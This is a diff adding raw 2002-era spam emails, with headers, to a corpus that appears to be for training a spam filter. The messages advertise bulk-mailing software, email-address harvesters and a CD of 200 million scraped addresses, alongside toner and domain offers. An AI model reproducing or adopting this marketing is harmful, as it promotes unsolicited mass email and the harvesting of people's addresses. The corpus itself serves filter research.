+Lis=3C!----=3Et=2E =3Cbr=3E +To remo=3C!----=3Eve your=3C!----=3Eself from all related +mailli=3C!--me--=3Ests=2C=3Cbr=3Ejust =3Ca +href=3D=22http=3A=2F=2F64=2E123=2E160=2E91=3A81=2Fultimatehgh=5Frun= +=2Fremove=2Ephp=3Fu +serid=3D=5B!To!=5D=22=3EClick Here=3C=2Fa=3E=3C=2Fdiv=3E=3C=2Fbody=3E=3C= +=2Fhtml=3E + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00812.275141f8033735b80bdca7c9dcabc8ad b/bayes/spamham/spam_2/00812.275141f8033735b80bdca7c9dcabc8ad new file mode 100644 index 0000000..ea863b3 --- /dev/null +++ b/bayes/spamham/spam_2/00812.275141f8033735b80bdca7c9dcabc8ad @@ -0,0 +1,69 @@ +From brenda_kwong@fastmail.fm Mon Jul 22 18:39:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2CB65440C8 + for ; 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Visit: http://www.affordable-domains.com today for more info. + +Register your domain name today for just $14.95 at: http://www.affordable-domains.com/ Registration fees include full access to an easy-to-use control panel to manage your domain name in the future. + +Sincerely, + +Domain Administrator +Affordable Domains + + +To remove your email address from further promotional mailings from this company, click here: +http://www.centralremovalservice.com/cgi-bin/domain-remove.cgi +45 + + + + + + + + +9588xeOa0-732ENqv9875eRMa4-664oWoA0829MnbA5-849OhZo1243goAl55 + + diff --git a/bayes/spamham/spam_2/00813.33bf420f192b90e27c45d3053ecbc6d4 b/bayes/spamham/spam_2/00813.33bf420f192b90e27c45d3053ecbc6d4 new file mode 100644 index 0000000..9e80324 --- /dev/null +++ b/bayes/spamham/spam_2/00813.33bf420f192b90e27c45d3053ecbc6d4 @@ -0,0 +1,50 @@ +From iccsuuccesss@yahoo.com Mon Jul 22 18:39:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D8CB9440CC + for ; Mon, 22 Jul 2002 13:39:18 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:39:18 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1PY16605 for + ; Mon, 22 Jul 2002 17:01:25 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA26624 for ; + Sun, 21 Jul 2002 09:15:26 +0100 +Received: from 211.251.139.129 ([211.251.139.129]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6L8FNp07161 for + ; Sun, 21 Jul 2002 09:15:24 +0100 +Message-Id: <200207210815.g6L8FNp07161@mandark.labs.netnoteinc.com> +From: ldneYour Buddy +To: Online.Friends@netnoteinc.com +Cc: +Subject: Say "Goodbye" to the 9-5 yhe +Sender: ldneYour Buddy +MIME-Version: 1.0 +Date: Sun, 21 Jul 2002 01:19:02 -0700 +X-Mailer: AOL 7.0 for Windows US sub 118 +X-Priority: 1 +Content-Type: text/html; charset="iso-8859-1" + + + +

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(usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id KAA26858 for + ; Sun, 21 Jul 2002 10:14:13 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17WCmw-0000zK-00; Sun, + 21 Jul 2002 02:14:02 -0700 +Received: from [218.0.72.36] (helo=localhost.com) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17WCmR-000567-00 for ; Sun, + 21 Jul 2002 02:13:33 -0700 +From: targetemailextractor@btamail.net.cn +Reply-To: targetemailextractor@btamail.net.cn +To: webmake-talk@example.sourceforge.net +X-Mailer: QuickSender 1.05 +MIME-Version: 1.0 +Message-Id: +Subject: [WM] ADV: Direct email blaster, email addresses extractor, maillist verify, maillist manager........... +Sender: webmake-talk-admin@example.sourceforge.net +Errors-To: webmake-talk-admin@example.sourceforge.net +X-Beenthere: webmake-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of WebMake. +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 17:13:25 +0800 +Date: Sun, 21 Jul 2002 17:13:25 +0800 +Content-Type: text/html; charset="us-ascii" +Content-Transfer-Encoding: quoted-printable + +=3CBODY bgColor=3D#ffffff=3E +=3CDIV=3E=3CFONT size=3D2=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E =3B=3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EDirect Email +Blaster=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E=3CFONT size=3D2=3E +=3CP=3E=3CFONT face=3DArial=3E=3CB=3E=3CFONT color=3D#006600=3E=3CI=3EThe program will send mail at the +rate of over 1=2C 000 e-mails per minute=2E =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ELegal and Fast +sending bulk emails =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EBuilt in SMTP +server =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3EHave Return Path =3B=3CBR=3ECan Check Mail +Address =3B=3CBR=3E=3CFONT color=3D#006600=3E=3CI=3EMake Error Send Address List=28 Remove or +Send Again=29 =3B=3C=2FI=3E=3C=2FFONT=3E=3CBR=3ESupport multi-threads=2E =3B=3CBR=3ESupport +multi-smtp servers=2E =3B=3CBR=3EManages your opt-in E-Mail Lists =3B=3CBR=3EOffers an +easy-to-use interface! =3B=3CBR=3EEasy to configure and use =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CA +href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fedeb=5Fset=2Ezip=22=3E=3CSTRONG=3EDownload +Now=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EMaillist +Verify=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EMaillist Verify is intended for e-mail addresses and mail +lists verifying=2E The main task is to determine which of addresses in the mail +list are dead=2E The program is oriented=2C basically=2C on programmers which have +their own mail lists to inform their users about new versions of their +programs=2E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EThe program works on the same algorithm as ISP mail systems +do=2E Mail servers addresses for specified address are extracted from DNS=2E The +program tries to connect with found SMTP-servers and simulates the sending of +message=2E It does not come to the message =3CNOBR=3Esending ‿=3B=2FNOBR>=3B EMV disconnect +as soon as mail server informs does this address exist or not=2E EMV can +find=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3E =3Babout 90% of dead addresses ‿=3B=2FNOBR>=3B some mail +systems receive all messages and only then see their =3B=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CNOBR=3Eaddresses and if the address is dead send the message +back with remark about it=2E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FP=3E=3CNOBR=3E +=3CP=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemv=5Fset=2Ezip=22=3E=3CSTRONG=3E=3CFONT +face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FA=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email +Blaster =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EExpress Email Blaster =3B is a very fast=2C powerful yet +simple to use email sender=2E Utilizing multiple threads=2Fconnections=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E =3Band multiple SMTP servers your emails will be sent out +fast and easily=2E There are User Information=2C Attach Files=2C =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3EAddress and Mail Logs four tabbed area for the E-mails +details for sending=2E About 25 SMTP servers come with the =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3Edemo version=2C and users may Add and Delete SMTP servers=2E +About =3CFONT color=3D#008000=3E=3CB=3E60=2C000=3C=2FB=3E=3C=2FFONT=3E E-mails will be sent out per +hour=2E=22=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbeeb=5Fset=2Ezip=22=3E=3CFONT +face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial size=3D4=3EExpress Email Address +Extractor=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FP=3E=3CFONT size=3D4=3E +=3CP=3E=3CFONT color=3D#008000 size=3D3=3EThis program is the most efficient=2C easy to use +email address collector available on the =3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3D#008000 size=3D3=3E =3Binternet! =3C=2FFONT=3E=3CFONT +color=3D#000000 size=3D3=3EBeijing Express Email Address Extractor =28ExpressEAE=29 is +designed to extract=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Be-mail addresses from web-pages on the +Internet =28using HTTP protocols=29 =2EExpressEAE=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3E =3Bsupports operation through many proxy-server +and works very fast=2C as it is able of =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 size=3D3=3Eloading several pages simultaneously=2C and requires +very few resources=2E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial=3E=3CFONT size=3D3=3EWith it=2C you will be able +to=3C=2FFONT=3E=3CFONT size=3D2=3E =3C=2FFONT=3E=3CFONT size=3D3=3Euse targeted searches to crawl the +world wide web=2C extracting =3B=3C=2FFONT=3E=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Ethousands of clean=2C fresh email +addresses=2E Ably Email address Extractor is unlike other =3B=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eaddress collecting programs=2C which +limit you to one or two search engines and are unable=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3E =3Bto do auto searches HUGE address=2E +Most of them collect a high percentage of incomplete=2C =3B=3C=2FFONT=3E +=3CP=3E=3CFONT color=3D#000000 face=3DArial size=3D3=3Eunusable addresses which will cause you +serious problems when using them in a mailing=2E =3B=3C=2FFONT=3E +=3CUL=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EEasier to learn and use than any + other email address collector program available=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAccesses eight search + engines =3B=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAdd your own URLs to the list to be + searched=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3ESupports operation through + =3C=2FFONT=3E=3CFONT color=3D#ff00ff=3Ea lot of=3C=2FFONT=3E=3CFONT color=3D#008000=3E proxy-server + and works very fast =28HTTP Proxy=29=3C=2FFONT=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAble of loading several pages + simultaneously=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ERequires very few resources=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3ETimeout feature allows user to limit + the amount of time crawling in dead sites and traps=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D3=3E=3CFONT color=3D#008000=3EEasy to make =3C=2FFONT=3E=3CFONT + color=3D#ff00ff=3EHuge=3C=2FFONT=3E=3CFONT color=3D#008000=3E address list=3C=2FFONT=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EPause=2Fcontinue extraction at any + time=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3EAuto connection to the + Internet=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feeae=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Email Address +Downloader=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CUL=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Eis a 32 bit Windows Program for e-mail + marketing=2E It is intended for easy and convenient=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3E =3Bsearch large + e-mail address lists from mail servers=2E The program can be operated + on =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3EWindows 95=2F98=2FME=2F2000 + and NT=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Esupport multi-threads =28up to 1024 + connections=29=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas the ability =3B to reconnect to the + mail server if the server has disconnected and =3B=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#000000 size=3D2=3Econtinue the searching + at the point where it has been interrupted=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#006600 size=3D2=3EExpressEAD =3B + =3C=2FFONT=3E=3CFONT color=3D#000000 size=3D2=3Ehas an ergonomic interface that is easy to + set up and simple to use=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CP=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT color=3D#008000 face=3DArial +size=3D4=3EFeatures=3A=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E +=3CUL type=3Ddisc=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Esupport + multi-threads=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto get smtp server + address=2Csupport multi-smtp servers=2E=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eauto save =3B E-Mail + Lists=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial=3E=3CSTRONG=3E=3CFONT face=3DArial size=3D2=3Eoffers an easy-to-use + interface!=3C=2FFONT=3E=3C=2FSTRONG=3E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E +=3CDIV=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Feead=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CSTRONG=3E=3CFONT color=3D#ff0080 face=3DArial=3EExpress Maillist +Manager=3C=2FFONT=3E=3C=2FSTRONG=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT size=3D2=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3EThis program was designed to be a +complement to the =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EDirect Email Blaster =3B +=3C=2FFONT=3E=3CFONT color=3Dblack size=3D3=3Eand =3C=2FFONT=3E=3CFONT color=3D#800080 size=3D3=3EEmail +Blaster =3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Esuite of bulk email software +programs=2E Its purpose is to organize your email lists in order to be +more =3B=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E=3CFONT color=3Dblack size=3D3=3Eeffective with your email marketing +campaign=2E Some of its features include=3A=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial=3E=3CFONT size=3D3=3E‿=3BCombine several lists into +one file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BSplit up larger lists to make them more +manageable=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BRemove addresses from file=2E=3C=2FFONT=3E=3CBR=3E=3CFONT +size=3D3=3E‿=3BManual editing=2C adding=2C and deleting of addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT +size=3D3=3E‿=3BAbility to auto clean lists=2C that is=2C remove any duplicate or unwanted +addresses=2E=3C=2FFONT=3E=3CBR=3E=3CFONT size=3D3=3E‿=3BMaintain all your address lists within the +program so you no =3B longer need to keep all your=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E +=3CP=3E=3CB=3E=3CFONT color=3D#008000 face=3DArial size=3D3=3E =3Blists saved as separate text +files=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E +=3CP=3E=3CSTRONG=3E=3CA href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fbj=5Fdownload=2Fbemm=5Fset=2Ezip=22=3E=3CFONT +color=3D#008000 face=3DArial size=3D3=3EDownload Now=3C=2FFONT=3E=3C=2FA=3E=3C=2FSTRONG=3E=3C=2FP=3E +=3CP=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E=3C=2FP=3E +=3CP=3E =3B=3C=2FP=3E +=3CDIV=3E=3CFONT face=3DArial=3Eif you want to remove your email=2C please send email to =3CA +href=3D=22mailto=3Atargetemailremoval=40btamail=2Enet=2Ecn=22=3Etargetemailremoval=40btamail=2Enet=2Ecn=3C=2FA=3E=3C=2FFONT=3E +=3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E=3CFONT face=3DArial=3E =3B=3C=2FFONT=3E =3C=2FDIV=3E +=3CDIV=3E =3B=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FDIV=3E=3C=2FFONT=3E=3C=2FNOBR=3E=3C=2FFONT=3E=3C=2FFONT=3E=3C=2FDIV=3E + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +webmake-talk mailing list +webmake-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/webmake-talk + + diff --git a/bayes/spamham/spam_2/00816.a4d225bcdd61ba45407b9617397c82c0 b/bayes/spamham/spam_2/00816.a4d225bcdd61ba45407b9617397c82c0 new file mode 100644 index 0000000..92bc6ff --- /dev/null +++ b/bayes/spamham/spam_2/00816.a4d225bcdd61ba45407b9617397c82c0 @@ -0,0 +1,68 @@ +From WebOffers@7a6a.net Mon Jul 22 18:06:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 58971440C8 + for ; Mon, 22 Jul 2002 13:06:16 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:06:16 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1QY16614 for + ; Mon, 22 Jul 2002 17:01:26 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA26626 for ; + Sun, 21 Jul 2002 09:15:26 +0100 +Received: from smtp7a6a.7a6a.net (158.85.217.216.transedge.com + [216.217.85.158]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with + ESMTP id g6L8FOp07163 for ; Sun, 21 Jul 2002 09:15:25 + +0100 +Received: from Mailer ([216.217.85.158]) by smtp7a6a.7a6a.net with + Microsoft SMTPSVC(5.0.2195.2966); Sun, 21 Jul 2002 04:21:08 -0400 +Date: Sun, 21 Jul 2002 04:21:08 Eastern Daylight Time +From: Web Offers +To: yyyy@netnoteinc.com +Subject: Save 70% on laser toner and inkjet cartridges! +X-Mailer: Flicks Softwares OCXMail 2.2f +X-Messageno: 32000191827 +Message-Id: +X-Originalarrivaltime: 21 Jul 2002 08:21:08.0937 (UTC) FILETIME=[90E7EB90:01C2308F] +Content-Type: text/html; charset="iso-8859-1" + + + + + + + +New Page 2 + + + + +

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ADV 2147PBQg-8 +Date: Sun, 21 Jul 0102 12:29:58 +0200 +MiME-Version: 1.0 +Content-Type: multipart/mixed; + boundary="----=_NextPart_000_00E6_61E42E2B.C1032A62" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: AOL 7.0 for Windows US sub 118 +Importance: Normal +X-SpamCop-Checked: 192.168.1.15 211.213.123.8 +X-SpamCop-Disposition: Blocked bl.spamcop.net + + +------=_NextPart_000_00E6_61E42E2B.C1032A62 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + + +PGh0bWw+IA0KPGhlYWQ+ICANCjxtZXRhIG5hbWU9IkdFTkVSQVRPUiIgY29u +dGVudD0iTWljcm9zb2Z0IEZyb250UGFnZSA1LjAiPg0KPG1ldGEgbmFtZT0i +UHJvZ0lkIiBjb250ZW50PSJGcm9udFBhZ2UuRWRpdG9yLkRvY3VtZW50Ij4N +CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4 +dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MiI+DQo8dGl0bGU+SGVhbHRo +eSBBbGwgQW1lcmljYW4gQ29va2luZyBhbGwgeWVhciByb3VuZDwvdGl0bGU+ +DQo8L2hlYWQ+DQo8Ym9keT4NCjx0YWJsZSBjZWxsU3BhY2luZz0iMCIgY2Vs +bFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCiAgPHRyPg0KICAgIDx0ZCB2 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+dj4NCjwvYm9keT4NCjwvaHRtbD4NCg== +------=_NextPart_000_00E6_61E42E2B.C1032A62-- + diff --git a/bayes/spamham/spam_2/00819.00de24076c1599b80c13f1e028094b6c b/bayes/spamham/spam_2/00819.00de24076c1599b80c13f1e028094b6c new file mode 100644 index 0000000..4c221d4 --- /dev/null +++ b/bayes/spamham/spam_2/00819.00de24076c1599b80c13f1e028094b6c @@ -0,0 +1,161 @@ +From ugrafromthesky@gt.ca Mon Jul 22 19:17:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F23BD440C8 + for ; Mon, 22 Jul 2002 14:17:55 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:17:55 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1UY16675 for + ; Mon, 22 Jul 2002 17:01:30 +0100 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA26658 for ; + Sun, 21 Jul 2002 09:24:14 +0100 +Received: from 202.111.170.139 (IDENT:squid@[202.111.170.139]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6L8O7p07167 for + ; Sun, 21 Jul 2002 09:24:09 +0100 +Message-Id: <200207210824.g6L8O7p07167@mandark.labs.netnoteinc.com> +From: Mary Georgopoulos +To: yyyy@netnoteinc.com +Cc: +Subject: 200 Million Targeted Leads CD * ONLY $99.95 * +Sender: Mary Georgopoulos +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Sun, 21 Jul 2002 04:24:35 -0700 +X-Mailer: Microsoft Outlook Express 5.50.4133.2400 + + +You Can't Beat This Deal: + +200 Million email addresses Database, On 2 CDs!! ==Only $99.95== + +100 million email addresses Database, On CD ==Only $69.95== + +1.5 Million USA Business FAX NUMBERS, On CD ==Only $49.95== + +ALL THREE DIRECTORIES ABOVE *** ONLY $139.95 *** + +BOTH EMAIL DIRECTORIES ARE CATEGORIZED LIKE: + +* Persons running home businesses or interested in starting one +* Persons interested in buying things on the web +* Persons interested in investing online or offline +* All 50 States broken down by area code +* Persons interested in Health & Fitness products / services +* Opt in : Persons interested in recieving offers by email. +* Persons interested in Travel, Sports, Dining, Real Estate, Mortgage, Politics, Religion, Fishing, Trade Shows etc.. +* Many More Categories... + +** Contains US & International EMAILS ** + +** Everything on these disks are in TEXT file format and fully exportable. ** + +** The CD is as easy to use as browsing your C drive in Explorer. ** + +NOW YOU CAN ADVERTISE FREE AND GET TREMENDOUSLY +MORE RESPONSES THAN ADVERTISING WITH OTHER FORMS OF MEDIA!! ORDER NOW + +HOW THIS DIRECTORY WAS COMPILED: + +* Virtually every other email directory on the Internet was taken and put it through an extensive email verification process thus eliminating all the dead addressess. +* Special software spiders through the web searching websites, newsgroups and many other online databases with given keywords like area codes, industries, city names etc.. to find millions of fresh new addresses every week. + +TURN YOUR COMPUTER INTO A MONEY MACHINE! + +Most estimate well over 400 MILLION people will have E-mail accounts in the next 2Years! E-Mail turns your computer into a Money Machine by giving you FREE, immediate access to all of them. Don't you think some of the more than 200 million people with E-mail addresses would be interested in your products or Services? +MUCH FASTER: With bulk E-mail you get responses back in 1 to 4 days instead of waiting weeks or months! You can begin filling orders the same day you send E-mail. FREE ADVERTISING WORTH MILLIONS: It costs millions of dollars to mail. + + +DO NOT REPLY TO THIS EMAIL ADDRESS. TO ORDER, READ BELOW: + +** ORDER BY CREDIT CARD (VISA, MASTERCARD OR AMERICAN EXPRESS) ** +- Simply complete the order form below and fax it back to 1-240-371-0672 +Make sure that we have your email address so that we can send you a reciept for your transaction. + +ORDER BY MAIL: + +Print the form below and send it together with a money order payable to FUTURE TECH INTERNATIONAL for the balance to: + +FUTURE TECH INTERNATIONAL +Import Export Company +1300 Don Mills Road Suite 211 +Don Mills Ontario, Canada +M3B 2W6 + +PLEASE DO NOT SEND POSTAL MONEY ORDERS + +ORDER FORM: + +Please PRINT clearly + +Full Name:________________________________________________ + +Company Name:_____________________________________________ + +Telephone:________________________________________________ + +Fax:______________________________________________________ + +Email Address:__________________________________________* REQUIRED FIELD + +Shipping Address:______________________________________________ + +City:____________________ State/Province:________________ + +Country:_________________________ZIP/Postal:_____________ + +Shipping Options: + +[] $5.95 Regular Mail (1 - 2 weeks) +[] $12.95 Priority Mail (2-4 business 